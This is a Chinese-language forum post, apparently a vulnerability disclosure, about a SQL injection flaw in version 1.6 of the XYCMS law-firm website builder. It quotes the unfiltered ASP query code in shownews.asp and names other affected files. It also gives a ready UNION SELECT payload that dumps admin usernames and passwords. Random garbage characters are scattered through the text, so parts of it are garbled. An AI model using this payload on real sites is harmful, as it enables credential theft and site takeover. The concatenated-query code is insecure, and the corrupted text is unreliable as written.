XYCMS律师事务所建站系统注入漏洞

admin

前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似

淫荡分割线
. T5 J' t- \; O* y9 j9 S--------------------------------------------------------

" {! m& O$ T% }+ O. K; v; p; Y3 J审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)
源码地址:http://down.chinaz.com/soft/29233.htm
8 G+ r+ M' z; W
  t! A1 z% e( |& `6 c) g漏洞文件:shownews.asp
漏洞代码：7-13行
+ E5 x/ Y2 ~' U0 Q$ `7 g$ V! d
, P# F$ l+ P9 f3 s5 Z/ h" g
<%
1 |& f: i! V1 j) pid=request.QueryString("id")
   
set snews=server.createobject("adodb.recordset")
exec="select * from [news] where id="&id
8 w& s; c* K# s/ ?  @2 Ksnews.open exec,conn,1,1
" F" Y4 I/ S' L0 F# M%>
6 G; _" Q2 G) c' p- B8 S
, `5 q5 Q' _) Z! w
什么过滤都没有  直造成注入
' Z) O" G# v0 B  @- e$ [2 P- S8 G; c: t
% s+ n" Q( a" ~* S8 Q注入点:http://127.0.0.1:99/shownews.asp?id=xx
  |" g4 Y$ M, l' l( f8 V
其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找
- \) c' Y; q# Q  B, |8 N- M
* A$ Y$ v( ?4 l
  o, S# y+ D; I- |8 [  W$ v" o: Eexp: union select 1,admin,password,4,5,7 from admin_user
* _6 L; N9 s* U9 q​
5 M' L) j) D2 V" d* K